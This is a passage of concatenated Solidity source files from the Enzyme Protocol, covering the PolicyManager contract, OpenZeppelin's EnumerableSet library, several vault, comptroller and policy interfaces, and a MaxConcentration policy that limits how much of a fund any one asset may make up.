function isRegisteredVaultCall(address, bytes4) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../../core/fund/vault/IVault.sol";
import "../utils/ExtensionBase.sol";
import "../utils/FundDeployerOwnerMixin.sol";
import "./IPolicy.sol";
import "./IPolicyManager.sol";
/// @title PolicyManager Contract
/// @author Enzyme Council <[email protected]>
/// @notice Manages policies for funds
contract PolicyManager is IPolicyManager, ExtensionBase, FundDeployerOwnerMixin {
using EnumerableSet for EnumerableSet.AddressSet;
event PolicyDeregistered(address indexed policy, string indexed identifier);
event PolicyDisabledForFund(address indexed comptrollerProxy, address indexed policy);
event PolicyEnabledForFund(
address indexed comptrollerProxy,
address indexed policy,
bytes settingsData
);
event PolicyRegistered(
address indexed policy,
string indexed identifier,
PolicyHook[] implementedHooks
);
EnumerableSet.AddressSet private registeredPolicies;
mapping(address => mapping(PolicyHook => bool)) private policyToHookToIsImplemented;
mapping(address => EnumerableSet.AddressSet) private comptrollerProxyToPolicies;
modifier onlyBuySharesHooks(address _policy) {
require(
!policyImplementsHook(_policy, PolicyHook.PreCallOnIntegration) &&
!policyImplementsHook(_policy, PolicyHook.PostCallOnIntegration),
"onlyBuySharesHooks: Disallowed hook"
);
_;
}
modifier onlyEnabledPolicyForFund(address _comptrollerProxy, address _policy) {
require(
policyIsEnabledForFund(_comptrollerProxy, _policy),
"onlyEnabledPolicyForFund: Policy not enabled"
);
_;
}
constructor(address _fundDeployer) public FundDeployerOwnerMixin(_fundDeployer) {}
// EXTERNAL FUNCTIONS
/// @notice Validates and initializes policies as necessary prior to fund activation
/// @param _isMigratedFund True if the fund is migrating to this release
/// @dev Caller is expected to be a valid ComptrollerProxy, but there isn't a need to validate.
function activateForFund(bool _isMigratedFund) external override {
address vaultProxy = __setValidatedVaultProxy(msg.sender);
// Policies must assert that they are congruent with migrated vault state
if (_isMigratedFund) {
address[] memory enabledPolicies = getEnabledPoliciesForFund(msg.sender);
for (uint256 i; i < enabledPolicies.length; i++) {
__activatePolicyForFund(msg.sender, vaultProxy, enabledPolicies[i]);
}
}
}
/// @notice Deactivates policies for a fund by destroying storage
function deactivateForFund() external override {
delete comptrollerProxyToVaultProxy[msg.sender];
for (uint256 i = comptrollerProxyToPolicies[msg.sender].length(); i > 0; i--) {
comptrollerProxyToPolicies[msg.sender].remove(
comptrollerProxyToPolicies[msg.sender].at(i - 1)
);
}
}
/// @notice Disables a policy for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _policy The policy address to disable
function disablePolicyForFund(address _comptrollerProxy, address _policy)
external
onlyBuySharesHooks(_policy)
onlyEnabledPolicyForFund(_comptrollerProxy, _policy)
{
__validateIsFundOwner(getVaultProxyForFund(_comptrollerProxy), msg.sender);
comptrollerProxyToPolicies[_comptrollerProxy].remove(_policy);
emit PolicyDisabledForFund(_comptrollerProxy, _policy);
}
/// @notice Enables a policy for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _policy The policy address to enable
/// @param _settingsData The encoded settings data with which to configure the policy
/// @dev Disabling a policy does not delete fund config on the policy, so if a policy is
/// disabled and then enabled again, its initial state will be the previous config. It is the
/// policy's job to determine how to merge that config with the _settingsData param in this function.
function enablePolicyForFund(
address _comptrollerProxy,
address _policy,
bytes calldata _settingsData
) external onlyBuySharesHooks(_policy) {
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
__validateIsFundOwner(vaultProxy, msg.sender);
__enablePolicyForFund(_comptrollerProxy, _policy, _settingsData);
__activatePolicyForFund(_comptrollerProxy, vaultProxy, _policy);
}
/// @notice Enable policies for use in a fund
/// @param _configData Encoded config data
/// @dev Only called during init() on ComptrollerProxy deployment
function setConfigForFund(bytes calldata _configData) external override {
(address[] memory policies, bytes[] memory settingsData) = abi.decode(
_configData,
(address[], bytes[])
);
// Sanity check
require(
policies.length == settingsData.length,
"setConfigForFund: policies and settingsData array lengths unequal"
);
// Enable each policy with settings
for (uint256 i; i < policies.length; i++) {
__enablePolicyForFund(msg.sender, policies[i], settingsData[i]);
}
}
/// @notice Updates policy settings for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _policy The Policy contract to update
/// @param _settingsData The encoded settings data with which to update the policy config
function updatePolicySettingsForFund(
address _comptrollerProxy,
address _policy,
bytes calldata _settingsData
) external onlyBuySharesHooks(_policy) onlyEnabledPolicyForFund(_comptrollerProxy, _policy) {
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
__validateIsFundOwner(vaultProxy, msg.sender);
IPolicy(_policy).updateFundSettings(_comptrollerProxy, vaultProxy, _settingsData);
}
/// @notice Validates all policies that apply to a given hook for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _hook The PolicyHook for which to validate policies
/// @param _validationData The encoded data with which to validate the filtered policies
function validatePolicies(
address _comptrollerProxy,
PolicyHook _hook,
bytes calldata _validationData
) external override {
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
address[] memory policies = getEnabledPoliciesForFund(_comptrollerProxy);
for (uint256 i; i < policies.length; i++) {
if (!policyImplementsHook(policies[i], _hook)) {
continue;
}
require(
IPolicy(policies[i]).validateRule(
_comptrollerProxy,
vaultProxy,
_hook,
_validationData
),
string(
abi.encodePacked(
"Rule evaluated to false: ",
IPolicy(policies[i]).identifier()
)
)
);
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to activate a policy for a fund
function __activatePolicyForFund(
address _comptrollerProxy,
address _vaultProxy,
address _policy
) private {
IPolicy(_policy).activateForFund(_comptrollerProxy, _vaultProxy);
}
/// @dev Helper to set config and enable policies for a fund
function __enablePolicyForFund(
address _comptrollerProxy,
address _policy,
bytes memory _settingsData
) private {
require(
!policyIsEnabledForFund(_comptrollerProxy, _policy),
"__enablePolicyForFund: policy already enabled"
);
require(policyIsRegistered(_policy), "__enablePolicyForFund: Policy is not registered");
// Set fund config on policy
if (_settingsData.length > 0) {
IPolicy(_policy).addFundSettings(_comptrollerProxy, _settingsData);
}
// Add policy
comptrollerProxyToPolicies[_comptrollerProxy].add(_policy);
emit PolicyEnabledForFund(_comptrollerProxy, _policy, _settingsData);
}
/// @dev Helper to validate fund owner.
/// Preferred to a modifier because allows gas savings if re-using _vaultProxy.
function __validateIsFundOwner(address _vaultProxy, address _who) private view {
require(
_who == IVault(_vaultProxy).getOwner(),
"Only the fund owner can call this function"
);
}
///////////////////////
// POLICIES REGISTRY //
///////////////////////
/// @notice Remove policies from the list of registered policies
/// @param _policies Addresses of policies to be registered
function deregisterPolicies(address[] calldata _policies) external onlyFundDeployerOwner {
require(_policies.length > 0, "deregisterPolicies: _policies cannot be empty");
for (uint256 i; i < _policies.length; i++) {
require(
policyIsRegistered(_policies[i]),
"deregisterPolicies: policy is not registered"
);
registeredPolicies.remove(_policies[i]);
emit PolicyDeregistered(_policies[i], IPolicy(_policies[i]).identifier());
}
}
/// @notice Add policies to the list of registered policies
/// @param _policies Addresses of policies to be registered
function registerPolicies(address[] calldata _policies) external onlyFundDeployerOwner {
require(_policies.length > 0, "registerPolicies: _policies cannot be empty");
for (uint256 i; i < _policies.length; i++) {
require(
!policyIsRegistered(_policies[i]),
"registerPolicies: policy already registered"
);
registeredPolicies.add(_policies[i]);
// Store the hooks that a policy implements for later use.
// Fronts the gas for calls to check if a hook is implemented, and guarantees
// that the implementsHooks return value does not change post-registration.
IPolicy policyContract = IPolicy(_policies[i]);
PolicyHook[] memory implementedHooks = policyContract.implementedHooks();
for (uint256 j; j < implementedHooks.length; j++) {
policyToHookToIsImplemented[_policies[i]][implementedHooks[j]] = true;
}
emit PolicyRegistered(_policies[i], policyContract.identifier(), implementedHooks);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Get all registered policies
/// @return registeredPoliciesArray_ A list of all registered policy addresses
function getRegisteredPolicies()
external
view
returns (address[] memory registeredPoliciesArray_)
{
registeredPoliciesArray_ = new address[](registeredPolicies.length());
for (uint256 i; i < registeredPoliciesArray_.length; i++) {
registeredPoliciesArray_[i] = registeredPolicies.at(i);
}
}
/// @notice Get a list of enabled policies for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return enabledPolicies_ An array of enabled policy addresses
function getEnabledPoliciesForFund(address _comptrollerProxy)
public
view
returns (address[] memory enabledPolicies_)
{
enabledPolicies_ = new address[](comptrollerProxyToPolicies[_comptrollerProxy].length());
for (uint256 i; i < enabledPolicies_.length; i++) {
enabledPolicies_[i] = comptrollerProxyToPolicies[_comptrollerProxy].at(i);
}
}
/// @notice Checks if a policy implements a particular hook
/// @param _policy The address of the policy to check
/// @param _hook The PolicyHook to check
/// @return implementsHook_ True if the policy implements the hook
function policyImplementsHook(address _policy, PolicyHook _hook)
public
view
returns (bool implementsHook_)
{
return policyToHookToIsImplemented[_policy][_hook];
}
/// @notice Check if a policy is enabled for the fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund to check
/// @param _policy The address of the policy to check
/// @return isEnabled_ True if the policy is enabled for the fund
function policyIsEnabledForFund(address _comptrollerProxy, address _policy)
public
view
returns (bool isEnabled_)
{
return comptrollerProxyToPolicies[_comptrollerProxy].contains(_policy);
}
/// @notice Check whether a policy is registered
/// @param _policy The address of the policy to check
/// @return isRegistered_ True if the policy is registered
function policyIsRegistered(address _policy) public view returns (bool isRegistered_) {
return registeredPolicies.contains(_policy);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../persistent/utils/IMigratableVault.sol";
/// @title IVault Interface
/// @author Enzyme Council <[email protected]>
interface IVault is IMigratableVault {
function addTrackedAsset(address) external;
function approveAssetSpender(
address,
address,
uint256
) external;
function burnShares(address, uint256) external;
function callOnContract(address, bytes calldata) external;
function getAccessor() external view returns (address);
function getOwner() external view returns (address);
function getTrackedAssets() external view returns (address[] memory);
function isTrackedAsset(address) external view returns (bool);
function mintShares(address, uint256) external;
function removeTrackedAsset(address) external;
function transferShares(
address,
address,
uint256
) external;
function withdrawAssetTo(
address,
address,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund/comptroller/IComptroller.sol";
import "../../core/fund/vault/IVault.sol";
import "../IExtension.sol";
/// @title ExtensionBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Base class for an extension
abstract contract ExtensionBase is IExtension {
mapping(address => address) internal comptrollerProxyToVaultProxy;
/// @notice Allows extension to run logic during fund activation
/// @dev Unimplemented by default, may be overridden.
function activateForFund(bool) external virtual override {
return;
}
/// @notice Allows extension to run logic during fund deactivation (destruct)
/// @dev Unimplemented by default, may be overridden.
function deactivateForFund() external virtual override {
return;
}
/// @notice Receives calls from ComptrollerLib.callOnExtension()
/// and dispatches the appropriate action
/// @dev Unimplemented by default, may be overridden.
function receiveCallFromComptroller(
address,
uint256,
bytes calldata
) external virtual override {
revert("receiveCallFromComptroller: Unimplemented for Extension");
}
/// @notice Allows extension to run logic during fund configuration
/// @dev Unimplemented by default, may be overridden.
function setConfigForFund(bytes calldata) external virtual override {
return;
}
/// @dev Helper to validate a ComptrollerProxy-VaultProxy relation, which we store for both
/// gas savings and to guarantee a spoofed ComptrollerProxy does not change getVaultProxy().
/// Will revert without reason if the expected interfaces do not exist.
function __setValidatedVaultProxy(address _comptrollerProxy)
internal
returns (address vaultProxy_)
{
require(
comptrollerProxyToVaultProxy[_comptrollerProxy] == address(0),
"__setValidatedVaultProxy: Already set"
);
vaultProxy_ = IComptroller(_comptrollerProxy).getVaultProxy();
require(vaultProxy_ != address(0), "__setValidatedVaultProxy: Missing vaultProxy");
require(
_comptrollerProxy == IVault(vaultProxy_).getAccessor(),
"__setValidatedVaultProxy: Not the VaultProxy accessor"
);
comptrollerProxyToVaultProxy[_comptrollerProxy] = vaultProxy_;
return vaultProxy_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the verified VaultProxy for a given ComptrollerProxy
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return vaultProxy_ The VaultProxy of the fund
function getVaultProxyForFund(address _comptrollerProxy)
public
view
returns (address vaultProxy_)
{
return comptrollerProxyToVaultProxy[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IPolicyManager.sol";
/// @title Policy Interface
/// @author Enzyme Council <[email protected]>
interface IPolicy {
function activateForFund(address _comptrollerProxy, address _vaultProxy) external;
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings) external;
function identifier() external pure returns (string memory identifier_);
function implementedHooks()
external
view
returns (IPolicyManager.PolicyHook[] memory implementedHooks_);
function updateFundSettings(
address _comptrollerProxy,
address _vaultProxy,
bytes calldata _encodedSettings
) external;
function validateRule(
address _comptrollerProxy,
address _vaultProxy,
IPolicyManager.PolicyHook _hook,
bytes calldata _encodedArgs
) external returns (bool isValid_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title PolicyManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the PolicyManager
interface IPolicyManager {
enum PolicyHook {
BuySharesSetup,
PreBuyShares,
PostBuyShares,
BuySharesCompleted,
PreCallOnIntegration,
PostCallOnIntegration
}
function validatePolicies(
address,
PolicyHook,
bytes calldata
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IMigratableVault Interface
/// @author Enzyme Council <[email protected]>
/// @dev DO NOT EDIT CONTRACT
interface IMigratableVault {
function canMigrate(address _who) external view returns (bool canMigrate_);
function init(
address _owner,
address _accessor,
string calldata _fundName
) external;
function setAccessor(address _nextAccessor) external;
function setVaultLib(address _nextVaultLib) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IComptroller Interface
/// @author Enzyme Council <[email protected]>
interface IComptroller {
enum VaultAction {
None,
BurnShares,
MintShares,
TransferShares,
ApproveAssetSpender,
WithdrawAssetTo,
AddTrackedAsset,
RemoveTrackedAsset
}
function activate(address, bool) external;
function calcGav(bool) external returns (uint256, bool);
function calcGrossShareValue(bool) external returns (uint256, bool);
function callOnExtension(
address,
uint256,
bytes calldata
) external;
function configureExtensions(bytes calldata, bytes calldata) external;
function destruct() external;
function getDenominationAsset() external view returns (address);
function getVaultProxy() external view returns (address);
function init(address, uint256) external;
function permissionedVaultAction(VaultAction, bytes calldata) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExtension Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all extensions
interface IExtension {
function activateForFund(bool _isMigration) external;
function deactivateForFund() external;
function receiveCallFromComptroller(
address _comptrollerProxy,
uint256 _actionId,
bytes calldata _callArgs
) external;
function setConfigForFund(bytes calldata _configData) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../IPolicy.sol";
/// @title PolicyBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Abstract base contract for all policies
abstract contract PolicyBase is IPolicy {
address internal immutable POLICY_MANAGER;
modifier onlyPolicyManager {
require(msg.sender == POLICY_MANAGER, "Only the PolicyManager can make this call");
_;
}
constructor(address _policyManager) public {
POLICY_MANAGER = _policyManager;
}
/// @notice Validates and initializes a policy as necessary prior to fund activation
/// @dev Unimplemented by default, can be overridden by the policy
function activateForFund(address, address) external virtual override {
return;
}
/// @notice Updates the policy settings for a fund
/// @dev Disallowed by default, can be overridden by the policy
function updateFundSettings(
address,
address,
bytes calldata
) external virtual override {
revert("updateFundSettings: Updates not allowed for this policy");
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `POLICY_MANAGER` variable value
/// @return policyManager_ The `POLICY_MANAGER` variable value
function getPolicyManager() external view returns (address policyManager_) {
return POLICY_MANAGER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/PolicyBase.sol";
/// @title CallOnIntegrationPostValidatePolicyMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for policies that only implement the PostCallOnIntegration policy hook
abstract contract PostCallOnIntegrationValidatePolicyBase is PolicyBase {
/// @notice Gets the implemented PolicyHooks for a policy
/// @return implementedHooks_ The implemented PolicyHooks
function implementedHooks()
external
view
override
returns (IPolicyManager.PolicyHook[] memory implementedHooks_)
{
implementedHooks_ = new IPolicyManager.PolicyHook[](1);
implementedHooks_[0] = IPolicyManager.PolicyHook.PostCallOnIntegration;
return implementedHooks_;
}
/// @notice Helper to decode rule arguments
function __decodeRuleArgs(bytes memory _encodedRuleArgs)
internal
pure
returns (
address adapter_,
bytes4 selector_,
address[] memory incomingAssets_,
uint256[] memory incomingAssetAmounts_,
address[] memory outgoingAssets_,
uint256[] memory outgoingAssetAmounts_
)
{
return
abi.decode(
_encodedRuleArgs,
(address, bytes4, address[], uint256[], address[], uint256[])
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../core/fund/comptroller/ComptrollerLib.sol";
import "../../../../core/fund/vault/VaultLib.sol";
import "../../../../infrastructure/value-interpreter/ValueInterpreter.sol";
import "./utils/PostCallOnIntegrationValidatePolicyBase.sol";
/// @title MaxConcentration Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that defines a configurable threshold for the concentration of any one asset
/// in a fund's holdings
contract MaxConcentration is PostCallOnIntegrationValidatePolicyBase {
using SafeMath for uint256;
event MaxConcentrationSet(address indexed comptrollerProxy, uint256 value);
uint256 private constant ONE_HUNDRED_PERCENT = 10**18; // 100%
address private immutable VALUE_INTERPRETER;
mapping(address => uint256) private comptrollerProxyToMaxConcentration;
constructor(address _policyManager, address _valueInterpreter)
public
PolicyBase(_policyManager)
{
VALUE_INTERPRETER = _valueInterpreter;
}
/// @notice Validates and initializes a policy as necessary prior to fund activation
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
/// @dev No need to authenticate access, as there are no state transitions
function activateForFund(address _comptrollerProxy, address _vaultProxy)
external
override
onlyPolicyManager
{
require(
passesRule(_comptrollerProxy, _vaultProxy, VaultLib(_vaultProxy).getTrackedAssets()),
"activateForFund: Max concentration exceeded"
);
}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
uint256 maxConcentration = abi.decode(_encodedSettings, (uint256));
require(maxConcentration > 0, "addFundSettings: maxConcentration must be greater than 0");
require(
maxConcentration <= ONE_HUNDRED_PERCENT,
"addFundSettings: maxConcentration cannot exceed 100%"
);
comptrollerProxyToMaxConcentration[_comptrollerProxy] = maxConcentration;
emit MaxConcentrationSet(_comptrollerProxy, maxConcentration);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "MAX_CONCENTRATION";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
/// @param _assets The assets with which to check the rule
/// @return isValid_ True if the rule passes
/// @dev The fund's denomination asset is exempt from the policy limit.
function passesRule(
address _comptrollerProxy,
address _vaultProxy,
address[] memory _assets
) public returns (bool isValid_) {
uint256 maxConcentration = comptrollerProxyToMaxConcentration[_comptrollerProxy];
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
address denominationAsset = comptrollerProxyContract.getDenominationAsset();
// Does not require asset finality, otherwise will fail when incoming asset is a Synth
(uint256 totalGav, bool gavIsValid) = comptrollerProxyContract.calcGav(false);
if (!gavIsValid) {
return false;
}
for (uint256 i = 0; i < _assets.length; i++) {
address asset = _assets[i];
if (
!__rulePassesForAsset(
_vaultProxy,
denominationAsset,
maxConcentration,
totalGav,
asset
)
) {
return false;
}
}
return true;
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address _vaultProxy,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(, , address[] memory incomingAssets, , , ) = __decodeRuleArgs(_encodedArgs);
if (incomingAssets.length == 0) {
return true;
}
return passesRule(_comptrollerProxy, _vaultProxy, incomingAssets);
}
/// @dev Helper to check if the rule holds for a particular asset.
/// Avoids the stack-too-deep error.
function __rulePassesForAsset(
address _vaultProxy,
address _denominationAsset,
uint256 _maxConcentration,
uint256 _totalGav,
address _incomingAsset
) private returns (bool isValid_) {
if (_incomingAsset == _denominationAsset) return true;
uint256 assetBalance = ERC20(_incomingAsset).balanceOf(_vaultProxy);
(uint256 assetGav, bool assetGavIsValid) = ValueInterpreter(VALUE_INTERPRETER)
.calcLiveAssetValue(_incomingAsset, assetBalance, _denominationAsset);
if (
!assetGavIsValid ||
assetGav.mul(ONE_HUNDRED_PERCENT).div(_totalGav) > _maxConcentration
) {
return false;
}
return true;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the maxConcentration for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return maxConcentration_ The maxConcentration
function getMaxConcentrationForFund(address _comptrollerProxy)
external
view
returns (uint256 maxConcentration_)
{
return comptrollerProxyToMaxConcentration[_comptrollerProxy];
}
/// @notice Gets the `VALUE_INTERPRETER` variable
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getValueInterpreter() external view returns (address valueInterpreter_) {
return VALUE_INTERPRETER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
